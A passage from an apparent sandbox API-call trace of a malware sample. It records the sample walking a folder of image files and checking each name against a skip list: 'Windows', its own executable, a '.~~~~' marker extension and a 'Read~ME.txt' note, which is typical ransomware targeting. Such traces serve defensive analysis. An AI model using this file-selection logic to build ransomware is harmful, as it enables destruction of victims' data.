	[0084.227] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2610, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099175.WMF", cAlternateFileName="")) returned 1
	[0084.227] lstrcmpiW (lpString1="J0099175.WMF", lpString2="Windows") returned -1
	[0084.227] lstrcmpW (lpString1="J0099175.WMF", lpString2="oiikyy.exe") returned -1
	[0084.227] StrStrW (lpFirst="J0099175.WMF", lpSrch=".~~~~") returned 0x0
	[0084.227] lstrcmpW (lpString1="J0099175.WMF", lpString2="Read~ME.txt") returned -1
	[0084.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.227] GetCurrentThreadId () returned 0x618
	[0084.227] RtlWakeConditionVariable () returned 0x365f48
	[0084.227] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099176.WMF", cAlternateFileName="")) returned 1
	[0084.227] lstrcmpiW (lpString1="J0099176.WMF", lpString2="Windows") returned -1
	[0084.227] lstrcmpW (lpString1="J0099176.WMF", lpString2="oiikyy.exe") returned -1
	[0084.227] StrStrW (lpFirst="J0099176.WMF", lpSrch=".~~~~") returned 0x0
	[0084.227] lstrcmpW (lpString1="J0099176.WMF", lpString2="Read~ME.txt") returned -1
	[0084.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.227] GetCurrentThreadId () returned 0x618
	[0084.227] RtlWakeConditionVariable () returned 0x365f48
	[0084.227] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x150a, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099177.WMF", cAlternateFileName="")) returned 1
	[0084.227] lstrcmpiW (lpString1="J0099177.WMF", lpString2="Windows") returned -1
	[0084.227] lstrcmpW (lpString1="J0099177.WMF", lpString2="oiikyy.exe") returned -1
	[0084.227] StrStrW (lpFirst="J0099177.WMF", lpSrch=".~~~~") returned 0x0
	[0084.227] lstrcmpW (lpString1="J0099177.WMF", lpString2="Read~ME.txt") returned -1
	[0084.227] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.227] GetCurrentThreadId () returned 0x618
	[0084.227] RtlWakeConditionVariable () returned 0x365f48
	[0084.227] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099178.WMF", cAlternateFileName="")) returned 1
	[0084.227] lstrcmpiW (lpString1="J0099178.WMF", lpString2="Windows") returned -1
	[0084.228] lstrcmpW (lpString1="J0099178.WMF", lpString2="oiikyy.exe") returned -1
	[0084.228] StrStrW (lpFirst="J0099178.WMF", lpSrch=".~~~~") returned 0x0
	[0084.228] lstrcmpW (lpString1="J0099178.WMF", lpString2="Read~ME.txt") returned -1
	[0084.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.228] GetCurrentThreadId () returned 0x618
	[0084.228] RtlWakeConditionVariable () returned 0x365f48
	[0084.228] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x23c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099179.WMF", cAlternateFileName="")) returned 1
	[0084.228] lstrcmpiW (lpString1="J0099179.WMF", lpString2="Windows") returned -1
	[0084.228] lstrcmpW (lpString1="J0099179.WMF", lpString2="oiikyy.exe") returned -1
	[0084.228] StrStrW (lpFirst="J0099179.WMF", lpSrch=".~~~~") returned 0x0
	[0084.228] lstrcmpW (lpString1="J0099179.WMF", lpString2="Read~ME.txt") returned -1
	[0084.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.228] GetCurrentThreadId () returned 0x618
	[0084.228] RtlWakeConditionVariable () returned 0x365f48
	[0084.228] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65daa6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xd42, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099180.WMF", cAlternateFileName="")) returned 1
	[0084.228] lstrcmpiW (lpString1="J0099180.WMF", lpString2="Windows") returned -1
	[0084.228] lstrcmpW (lpString1="J0099180.WMF", lpString2="oiikyy.exe") returned -1
	[0084.228] StrStrW (lpFirst="J0099180.WMF", lpSrch=".~~~~") returned 0x0
	[0084.228] lstrcmpW (lpString1="J0099180.WMF", lpString2="Read~ME.txt") returned -1
	[0084.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.228] GetCurrentThreadId () returned 0x618
	[0084.228] RtlWakeConditionVariable () returned 0x365f48
	[0084.228] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4ae, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099181.WMF", cAlternateFileName="")) returned 1
	[0084.228] lstrcmpiW (lpString1="J0099181.WMF", lpString2="Windows") returned -1
	[0084.228] lstrcmpW (lpString1="J0099181.WMF", lpString2="oiikyy.exe") returned -1
	[0084.228] StrStrW (lpFirst="J0099181.WMF", lpSrch=".~~~~") returned 0x0
	[0084.228] lstrcmpW (lpString1="J0099181.WMF", lpString2="Read~ME.txt") returned -1
	[0084.228] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.228] GetCurrentThreadId () returned 0x618
	[0084.228] RtlWakeConditionVariable () returned 0x365f48
	[0084.229] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf00, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099182.WMF", cAlternateFileName="")) returned 1
	[0084.229] lstrcmpiW (lpString1="J0099182.WMF", lpString2="Windows") returned -1
	[0084.229] lstrcmpW (lpString1="J0099182.WMF", lpString2="oiikyy.exe") returned -1
	[0084.229] StrStrW (lpFirst="J0099182.WMF", lpSrch=".~~~~") returned 0x0
	[0084.229] lstrcmpW (lpString1="J0099182.WMF", lpString2="Read~ME.txt") returned -1
	[0084.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.229] GetCurrentThreadId () returned 0x618
	[0084.229] RtlWakeConditionVariable () returned 0x365f48
	[0084.229] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1352, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099183.WMF", cAlternateFileName="")) returned 1
	[0084.229] lstrcmpiW (lpString1="J0099183.WMF", lpString2="Windows") returned -1
	[0084.229] lstrcmpW (lpString1="J0099183.WMF", lpString2="oiikyy.exe") returned -1
	[0084.229] StrStrW (lpFirst="J0099183.WMF", lpSrch=".~~~~") returned 0x0
	[0084.229] lstrcmpW (lpString1="J0099183.WMF", lpString2="Read~ME.txt") returned -1
	[0084.229] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.229] GetCurrentThreadId () returned 0x618
	[0084.229] RtlWakeConditionVariable () returned 0x365f48
	[0084.229] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1016, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099184.WMF", cAlternateFileName="")) returned 1
	[0084.326] lstrcmpiW (lpString1="J0099184.WMF", lpString2="Windows") returned -1
	[0084.326] lstrcmpW (lpString1="J0099184.WMF", lpString2="oiikyy.exe") returned -1
	[0084.326] StrStrW (lpFirst="J0099184.WMF", lpSrch=".~~~~") returned 0x0
	[0084.326] lstrcmpW (lpString1="J0099184.WMF", lpString2="Read~ME.txt") returned -1
	[0084.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.326] GetCurrentThreadId () returned 0x618
	[0084.326] RtlWakeConditionVariable () returned 0x365f48
	[0084.326] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xcd2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099185.JPG", cAlternateFileName="")) returned 1
	[0084.326] lstrcmpiW (lpString1="J0099185.JPG", lpString2="Windows") returned -1
	[0084.326] lstrcmpW (lpString1="J0099185.JPG", lpString2="oiikyy.exe") returned -1
	[0084.326] StrStrW (lpFirst="J0099185.JPG", lpSrch=".~~~~") returned 0x0
	[0084.326] lstrcmpW (lpString1="J0099185.JPG", lpString2="Read~ME.txt") returned -1
	[0084.326] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.326] GetCurrentThreadId () returned 0x618
	[0084.326] RtlWakeConditionVariable () returned 0x365f48
	[0084.326] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x183cef00, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x183cef00, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x4162, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099186.JPG", cAlternateFileName="")) returned 1
	[0084.326] lstrcmpiW (lpString1="J0099186.JPG", lpString2="Windows") returned -1
	[0084.326] lstrcmpW (lpString1="J0099186.JPG", lpString2="oiikyy.exe") returned -1
	[0084.326] StrStrW (lpFirst="J0099186.JPG", lpSrch=".~~~~") returned 0x0
	[0084.327] lstrcmpW (lpString1="J0099186.JPG", lpString2="Read~ME.txt") returned -1
	[0084.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.327] GetCurrentThreadId () returned 0x618
	[0084.327] RtlWakeConditionVariable () returned 0x365f48
	[0084.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe4b400, ftCreationTime.dwHighDateTime=0x1bdbf74, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe4b400, ftLastWriteTime.dwHighDateTime=0x1bdbf74, nFileSizeHigh=0x0, nFileSizeLow=0x5fd0, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099187.JPG", cAlternateFileName="")) returned 1
	[0084.327] lstrcmpiW (lpString1="J0099187.JPG", lpString2="Windows") returned -1
	[0084.327] lstrcmpW (lpString1="J0099187.JPG", lpString2="oiikyy.exe") returned -1
	[0084.327] StrStrW (lpFirst="J0099187.JPG", lpSrch=".~~~~") returned 0x0
	[0084.327] lstrcmpW (lpString1="J0099187.JPG", lpString2="Read~ME.txt") returned -1
	[0084.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.327] GetCurrentThreadId () returned 0x618
	[0084.327] RtlWakeConditionVariable () returned 0x365f48
	[0084.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2378, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099188.JPG", cAlternateFileName="")) returned 1
	[0084.327] lstrcmpiW (lpString1="J0099188.JPG", lpString2="Windows") returned -1
	[0084.327] lstrcmpW (lpString1="J0099188.JPG", lpString2="oiikyy.exe") returned -1
	[0084.327] StrStrW (lpFirst="J0099188.JPG", lpSrch=".~~~~") returned 0x0
	[0084.327] lstrcmpW (lpString1="J0099188.JPG", lpString2="Read~ME.txt") returned -1
	[0084.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.327] GetCurrentThreadId () returned 0x618
	[0084.327] RtlWakeConditionVariable () returned 0x365f48
	[0084.327] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x1f8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099189.JPG", cAlternateFileName="")) returned 1
	[0084.327] lstrcmpiW (lpString1="J0099189.JPG", lpString2="Windows") returned -1
	[0084.327] lstrcmpW (lpString1="J0099189.JPG", lpString2="oiikyy.exe") returned -1
	[0084.327] StrStrW (lpFirst="J0099189.JPG", lpSrch=".~~~~") returned 0x0
	[0084.327] lstrcmpW (lpString1="J0099189.JPG", lpString2="Read~ME.txt") returned -1
	[0084.327] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.327] GetCurrentThreadId () returned 0x618
	[0084.328] RtlWakeConditionVariable () returned 0x365f48
	[0084.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x562fb9d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xab74, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099190.JPG", cAlternateFileName="")) returned 1
	[0084.328] lstrcmpiW (lpString1="J0099190.JPG", lpString2="Windows") returned -1
	[0084.328] lstrcmpW (lpString1="J0099190.JPG", lpString2="oiikyy.exe") returned -1
	[0084.328] StrStrW (lpFirst="J0099190.JPG", lpSrch=".~~~~") returned 0x0
	[0084.328] lstrcmpW (lpString1="J0099190.JPG", lpString2="Read~ME.txt") returned -1
	[0084.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.328] GetCurrentThreadId () returned 0x618
	[0084.328] RtlWakeConditionVariable () returned 0x365f48
	[0084.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0xf39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099191.JPG", cAlternateFileName="")) returned 1
	[0084.328] lstrcmpiW (lpString1="J0099191.JPG", lpString2="Windows") returned -1
	[0084.328] lstrcmpW (lpString1="J0099191.JPG", lpString2="oiikyy.exe") returned -1
	[0084.328] StrStrW (lpFirst="J0099191.JPG", lpSrch=".~~~~") returned 0x0
	[0084.328] lstrcmpW (lpString1="J0099191.JPG", lpString2="Read~ME.txt") returned -1
	[0084.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.328] GetCurrentThreadId () returned 0x618
	[0084.328] RtlWakeConditionVariable () returned 0x365f48
	[0084.328] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x462c, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099192.GIF", cAlternateFileName="")) returned 1
	[0084.328] lstrcmpiW (lpString1="J0099192.GIF", lpString2="Windows") returned -1
	[0084.328] lstrcmpW (lpString1="J0099192.GIF", lpString2="oiikyy.exe") returned -1
	[0084.328] StrStrW (lpFirst="J0099192.GIF", lpSrch=".~~~~") returned 0x0
	[0084.328] lstrcmpW (lpString1="J0099192.GIF", lpString2="Read~ME.txt") returned -1
	[0084.328] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.328] GetCurrentThreadId () returned 0x618
	[0084.328] RtlWakeConditionVariable () returned 0x365f48
	[0084.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x8ada, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099193.GIF", cAlternateFileName="")) returned 1
	[0084.329] lstrcmpiW (lpString1="J0099193.GIF", lpString2="Windows") returned -1
	[0084.329] lstrcmpW (lpString1="J0099193.GIF", lpString2="oiikyy.exe") returned -1
	[0084.329] StrStrW (lpFirst="J0099193.GIF", lpSrch=".~~~~") returned 0x0
	[0084.329] lstrcmpW (lpString1="J0099193.GIF", lpString2="Read~ME.txt") returned -1
	[0084.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.329] GetCurrentThreadId () returned 0x618
	[0084.329] RtlWakeConditionVariable () returned 0x365f48
	[0084.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x62b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099194.GIF", cAlternateFileName="")) returned 1
	[0084.329] lstrcmpiW (lpString1="J0099194.GIF", lpString2="Windows") returned -1
	[0084.329] lstrcmpW (lpString1="J0099194.GIF", lpString2="oiikyy.exe") returned -1
	[0084.329] StrStrW (lpFirst="J0099194.GIF", lpSrch=".~~~~") returned 0x0
	[0084.329] lstrcmpW (lpString1="J0099194.GIF", lpString2="Read~ME.txt") returned -1
	[0084.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.329] GetCurrentThreadId () returned 0x618
	[0084.329] RtlWakeConditionVariable () returned 0x365f48
	[0084.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x4dd3, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099195.GIF", cAlternateFileName="")) returned 1
	[0084.329] lstrcmpiW (lpString1="J0099195.GIF", lpString2="Windows") returned -1
	[0084.329] lstrcmpW (lpString1="J0099195.GIF", lpString2="oiikyy.exe") returned -1
	[0084.329] StrStrW (lpFirst="J0099195.GIF", lpSrch=".~~~~") returned 0x0
	[0084.329] lstrcmpW (lpString1="J0099195.GIF", lpString2="Read~ME.txt") returned -1
	[0084.329] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.329] GetCurrentThreadId () returned 0x618
	[0084.329] RtlWakeConditionVariable () returned 0x365f48
	[0084.329] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x3801, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099196.GIF", cAlternateFileName="")) returned 1
	[0084.329] lstrcmpiW (lpString1="J0099196.GIF", lpString2="Windows") returned -1
	[0084.329] lstrcmpW (lpString1="J0099196.GIF", lpString2="oiikyy.exe") returned -1
	[0084.329] StrStrW (lpFirst="J0099196.GIF", lpSrch=".~~~~") returned 0x0
	[0084.330] lstrcmpW (lpString1="J0099196.GIF", lpString2="Read~ME.txt") returned -1
	[0084.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.330] GetCurrentThreadId () returned 0x618
	[0084.330] RtlWakeConditionVariable () returned 0x365f48
	[0084.330] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x2a92, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099197.GIF", cAlternateFileName="")) returned 1
	[0084.330] lstrcmpiW (lpString1="J0099197.GIF", lpString2="Windows") returned -1
	[0084.330] lstrcmpW (lpString1="J0099197.GIF", lpString2="oiikyy.exe") returned -1
	[0084.330] StrStrW (lpFirst="J0099197.GIF", lpSrch=".~~~~") returned 0x0
	[0084.330] lstrcmpW (lpString1="J0099197.GIF", lpString2="Read~ME.txt") returned -1
	[0084.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.330] GetCurrentThreadId () returned 0x618
	[0084.330] RtlWakeConditionVariable () returned 0x365f48
	[0084.330] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x56321b30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x148b, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099198.GIF", cAlternateFileName="")) returned 1
	[0084.330] lstrcmpiW (lpString1="J0099198.GIF", lpString2="Windows") returned -1
	[0084.330] lstrcmpW (lpString1="J0099198.GIF", lpString2="oiikyy.exe") returned -1
	[0084.330] StrStrW (lpFirst="J0099198.GIF", lpSrch=".~~~~") returned 0x0
	[0084.330] lstrcmpW (lpString1="J0099198.GIF", lpString2="Read~ME.txt") returned -1
	[0084.330] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37c4f0
	[0084.330] GetCurrentThreadId () returned 0x618
	[0084.330] RtlWakeConditionVariable () returned 0x365f48
	[0084.330] FindNextFileW (in: hFindFile=0x37a848, lpFindFileData=0x27df258 | out: lpFindFileData=0x27df258*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbad71800, ftCreationTime.dwHighDateTime=0x1bd3246, ftLastAccessTime.dwLowDateTime=0x65dd0810, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbad71800, ftLastWriteTime.dwHighDateTime=0x1bd3246, nFileSizeHigh=0x0, nFileSizeLow=0x84b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0099199.GIF", cAlternateFileName="")) returned 1
	[0084.330] lstrcmpiW (lpString1="J0099199.GIF", lpString2="Windows") returned -1
	[0084.330] lstrcmpW (lpString1="J0099199.GIF", lpString2="oiikyy.exe") returned -1
